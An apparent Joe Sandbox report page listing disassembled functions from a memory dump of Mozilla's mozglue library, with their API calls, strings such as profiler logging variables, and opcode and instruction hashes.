Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 9226d1ece18d45b3ca39ddd185dc1dfbee040d86c1334e39bfcb773c7730fd57
Instruction ID: caa7401680a107dd62420a4516a2b381ba50f9f43c9d8182658f2c1aaa124afd
Opcode Fuzzy Hash: 9226d1ece18d45b3ca39ddd185dc1dfbee040d86c1334e39bfcb773c7730fd57
Instruction Fuzzy Hash: 6351EB72E097019BD722DB28C8806AE7376BFA570DF59451CD41A53F40D732F99ACB82

Function 6CA25D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CA25C8C,?,6C9FE829), ref: 6CA25D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CA25C8C,?,6C9FE829), ref: 6CA25D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CA25C8C,?,6C9FE829), ref: 6CA25D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CA25C8C,?,6C9FE829), ref: 6CA25D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CA25C8C,?,6C9FE829), ref: 6CA25DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CA25C8C,?,6C9FE829), ref: 6CA25DC9
std::_Facet_Register.LIBCPMT ref: 6CA25DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CA25C8C,?,6C9FE829), ref: 6CA25E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CA25C8C,?,6C9FE829), ref: 6CA25E45

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 15c483d15f43c464b7baa6bdc94f7904245940d5768c4b070079447260d70812
Instruction ID: dcbefd59f15cd45902cfd133aa4854462266f15a3fe0f933c3c3184d399db2ac
Opcode Fuzzy Hash: 15c483d15f43c464b7baa6bdc94f7904245940d5768c4b070079447260d70812
Instruction Fuzzy Hash: E24192307003159FDB04EFA5C898AAE77B5FF89318F588168D50A97781EB35D846CB51

Function 6C9FCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9C31A7), ref: 6C9FCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C9FCFA4, 6C9FCFB8
<jemalloc>, xrefs: 6C9FCF9F, 6C9FCFB3

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: a98c0b8dabac79a8b948e5f28cfefd4aab20bf4f2a5119a31c7d39313da50855
Instruction ID: 17ac2ec5f074fec8765c9658252bd52f9c9d589f00d182ef03d372b63a33999a
Opcode Fuzzy Hash: a98c0b8dabac79a8b948e5f28cfefd4aab20bf4f2a5119a31c7d39313da50855
Instruction Fuzzy Hash: C531A531B402065BFB24AEB98C45BAE7B79BB41758F30C114F624ABAC0DB71D95287A1

Function 6C9CECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9CF100: LoadLibraryW.KERNEL32(shell32,?,6CA3D020), ref: 6C9CF122
Part of subcall function 6C9CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C9CF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C9CED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9CEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C9CEDCC
CreateFileW.KERNEL32 ref: 6C9CEE08
free.MOZGLUE(00000000), ref: 6C9CEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C9CEE32

Part of subcall function 6C9CEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C9CEBB5
Part of subcall function 6C9CEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C9FD7F3), ref: 6C9CEBC3
Part of subcall function 6C9CEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C9FD7F3), ref: 6C9CEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C9CEDC1

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 48fa689be751668737b3e08aefbaac4e463ce64f7965db3a274fd454718fa4fe
Instruction ID: ca36a6680a0fde1c65fe9baf7febc2ab1b024d079c1b05c3cb384eb70cf365b8
Opcode Fuzzy Hash: 48fa689be751668737b3e08aefbaac4e463ce64f7965db3a274fd454718fa4fe
Instruction Fuzzy Hash: E4510271E053149BDB00DF68C8426EEB7B4AF6935CF04852DE8566B740E731E988C7A3

Function 6CA3A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA3A565

Part of subcall function 6CA3A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA3A4BE
Part of subcall function 6CA3A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA3A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA3A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA3A6B6

Strings

z, xrefs: 6CA3A6AE
0, xrefs: 6CA3A5FB

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: a0f5cae15f96a8a611ce8d6de65b2cdeccc9031f715a2725b22ee6a8c7f7c995
Instruction ID: bcfbacaddcb06b6e9f369e71fc610545fe957d42f1f51cbaf69dbccc6f926516
Opcode Fuzzy Hash: a0f5cae15f96a8a611ce8d6de65b2cdeccc9031f715a2725b22ee6a8c7f7c995
Instruction Fuzzy Hash: 61414771A097559FC741DF28C090A8EBBE5BF99344F409A2EF499C7650EB30D989CB83

Function 6C9C78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CA4008B), ref: 6C9C7B89
free.MOZGLUE(?,6CA4008B), ref: 6C9C7BAC

Part of subcall function 6C9C78C0: free.MOZGLUE(?,6CA4008B), ref: 6C9C7BCF

free.MOZGLUE(?,6CA4008B), ref: 6C9C7BF2

Part of subcall function 6C9E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C9E5EDB
Part of subcall function 6C9E5E90: memset.VCRUNTIME140(6CA27765,000000E5,55CCCCCC), ref: 6C9E5F27
Part of subcall function 6C9E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C9E5FB2

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: fb4b85987ffd864e8906c3ae0035cfb19b2658f1d451fe6631833d1e26fda282
Instruction ID: 4909ce244502281462178f2158e02fb822480d1fc46a08c293e9a44dcdf251c1
Opcode Fuzzy Hash: fb4b85987ffd864e8906c3ae0035cfb19b2658f1d451fe6631833d1e26fda282
Instruction Fuzzy Hash: 38C1A031F011298BEB248B28CC90BADB772AF51318F1547E9D51AABBC1C731DE858B53

Function 6CA09420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C9FAB89: EnterCriticalSection.KERNEL32(6CA4E370,?,?,?,6C9C34DE,6CA4F6CC,?,?,?,?,?,?,?,6C9C3284), ref: 6C9FAB94
Part of subcall function 6C9FAB89: LeaveCriticalSection.KERNEL32(6CA4E370,?,6C9C34DE,6CA4F6CC,?,?,?,?,?,?,?,6C9C3284,?,?,6C9E56F6), ref: 6C9FABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9D4A68), ref: 6CA0945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA09470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA09482
__Init_thread_footer.LIBCMT ref: 6CA0949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA0947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA09459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA0946B

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: f30a134bf750b124045acbca26f4ad0e6e571812a30e178ff2424c9a43e2a70c
Instruction ID: 24527f0b4941222cbc081266cab540fdf77f6fe55e6533fdee9339b72e196ebe
Opcode Fuzzy Hash: f30a134bf750b124045acbca26f4ad0e6e571812a30e178ff2424c9a43e2a70c
Instruction Fuzzy Hash: 8B01F074B002028BD714AB7CED115553375A7453BEF05C53BED0986B41EE33D4E68967

Function 6CA10F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA10F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA10F88
GetCurrentThreadId.KERNEL32 ref: 6CA10FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CA11067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CA110A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CA1114B

Part of subcall function 6CA08AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CA21563), ref: 6CA08BD5

free.MOZGLUE(?), ref: 6CA11174
free.MOZGLUE(?), ref: 6CA11186

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 9e2c4ee991e9021f7a8c0dbfed282178847237a0912cede99d013bd4fa002725
Instruction ID: 8a08787b8f03c785d89a63b7cd4500c6325179b08df0132ccf1d6389e74300b1
Opcode Fuzzy Hash: 9e2c4ee991e9021f7a8c0dbfed282178847237a0912cede99d013bd4fa002725
Instruction Fuzzy Hash: 3F61F175A083409FCB10DF24C984BAAB7F6BFD5318F04891DE99947B11EB71E889CB81

Function 6C9CB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C9CB61E,?,?,?,?,?,00000000), ref: 6C9CB6AC

Part of subcall function 6C9DCA10: malloc.MOZGLUE(?), ref: 6C9DCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C9CB61E,?,?,?,?,?,00000000), ref: 6C9CB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C9CB61E,?,?,?,?,?,00000000), ref: 6C9CB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C9CB61E,?,?,?,?,?,00000000), ref: 6C9CB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C9CB61E,?,?,?,?,?,00000000), ref: 6C9CB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C9CB61E), ref: 6C9CB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C9CB61E,?,?,?,?,?,00000000), ref: 6C9CB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C9CB61E,?,?,?,?,?,00000000), ref: 6C9CB79A

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: fefb28901f597a775f33eaca04e42e493328ab78b25977a7a8de3c5f31111cf5
Instruction ID: b5e19dbcdc5263142b7d46371e7c7733e53f1c59c817f7cc601b27d6eceab75f
Opcode Fuzzy Hash: fefb28901f597a775f33eaca04e42e493328ab78b25977a7a8de3c5f31111cf5
Instruction Fuzzy Hash: 5B41B6B2E001159FCB04DF68DC505AEB7B9BF54324F250669E825E7780D731E91487D2

Function 6C9CEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CA45104), ref: 6C9CEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C9CEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C9CEFEC
free.MOZGLUE(?), ref: 6C9CF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C9CF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C9CF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CF065
moz_xmalloc.MOZGLUE ref: 6C9CF072

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 227c88187b7b80af533f8a7fb8e53004dc9bade3dd1e5a70367a8039732343b2
Instruction ID: 4ccfd9ae7f7df61858393e34d65f8c2c463ebdb9e0a8002f0377b2d37680cfb8
Opcode Fuzzy Hash: 227c88187b7b80af533f8a7fb8e53004dc9bade3dd1e5a70367a8039732343b2
Instruction Fuzzy Hash: 6741E7B1B002159FCB08CF68DC919BE7769BF95318B24422CE816DB794EB31E915C7E2

Function 6CA3B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CA3B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CA3B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CA3B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CA3B5F4
__Init_thread_footer.LIBCMT ref: 6CA3B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CA3B61F
std::_Facet_Register.LIBCPMT ref: 6CA3B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA3B655

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: ec81e2f7b656a4ae38507b24abde6319dee107265cc0037000fb67c58b793bfc
Instruction ID: 840abeb51d250fcbe398055545075d5eb0d5ba3a034c7cc3ad79de666f917e56
Opcode Fuzzy Hash: ec81e2f7b656a4ae38507b24abde6319dee107265cc0037000fb67c58b793bfc
Instruction Fuzzy Hash: C4313431B00712CBCB04EF68D8548AEB7B2FB8532DB148229D906D7340DB31A847CB91

Function 6C9DB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CA1CC83,?,?,?,?,?,?,?,?,?,6CA1BCAE,?,?,6CA0DC2C), ref: 6C9DB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CA1CC83,?,?,?,?,?,?,?,?,?,6CA1BCAE,?,?,6CA0DC2C), ref: 6C9DB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CA1CC83,?,?,?,?,?,?,?,?,?,6CA1BCAE), ref: 6C9DB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CA1CC83,?,?,?,?,?,?,?,?,?,6CA1BCAE,?,?,6CA0DC2C), ref: 6C9DB896

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 7871a98279293e8c8e0c16d03999a0823addae51aa21abbce0396b16446667da
Instruction ID: 2454af623e30366c80a9c693ec0f892d74c230a90873da511312eff70ba45aa1
Opcode Fuzzy Hash: 7871a98279293e8c8e0c16d03999a0823addae51aa21abbce0396b16446667da
Instruction Fuzzy Hash: 23517C35700A018FCB14DF59C594A2AB7F5FF89318B5AC59DE98AA7341C731F802CB80

Function 6CA11D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA11D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CA11BE3,?,?,6CA11D96,00000000), ref: 6CA11D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CA11BE3,?,?,6CA11D96,00000000), ref: 6CA11D4C
GetCurrentThreadId.KERNEL32 ref: 6CA11DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA11DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA11DDA

Part of subcall function 6CA11EF0: GetCurrentThreadId.KERNEL32 ref: 6CA11F03
Part of subcall function 6CA11EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CA11DF2,00000000,00000000), ref: 6CA11F0C
Part of subcall function 6CA11EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA11F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CA11DF4

Part of subcall function 6C9DCA10: malloc.MOZGLUE(?), ref: 6C9DCA26

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: e318ef9a75e1848e8d516deabe79f1dd9ef7c9579350fd77d0aa824caeaedd3a
Instruction ID: 80444bf050bdf65a81c2b3999bce90994eac0cd5169cb663e94ce48b53eec120
Opcode Fuzzy Hash: e318ef9a75e1848e8d516deabe79f1dd9ef7c9579350fd77d0aa824caeaedd3a
Instruction Fuzzy Hash: 0B41AB752007019FCB14DF28C488A6ABBF5FB99318F10852DE95A87B41DB31F854CB90

Function 6C9D38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CA4E220,?,?,?,?,6C9D3899,?), ref: 6C9D38B2
ReleaseSRWLockExclusive.KERNEL32(6CA4E220,?,?,?,6C9D3899,?), ref: 6C9D38C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C9D3899,?), ref: 6C9D38F1
RtlFreeHeap.NTDLL ref: 6C9D3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C9D3899,?), ref: 6C9D392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C9D3899,?), ref: 6C9D3943
RtlFreeHeap.NTDLL ref: 6C9D396E

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

